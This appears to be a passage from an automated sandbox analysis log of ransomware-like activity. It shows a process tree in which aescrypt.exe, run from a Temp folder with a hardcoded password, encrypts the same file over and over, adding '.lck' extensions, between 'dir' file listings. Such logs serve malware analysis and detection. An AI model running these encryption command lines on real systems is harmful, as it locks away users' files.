                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5876
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5856
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5892
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1908
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5964
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5976
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6004
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6020
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6036
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6088
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6072
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6092
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3236
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1564
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3328
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5168
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5132
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5140
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1168
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4560
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5152
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3340
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2184
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5236
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:740
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5280
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5224
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5268
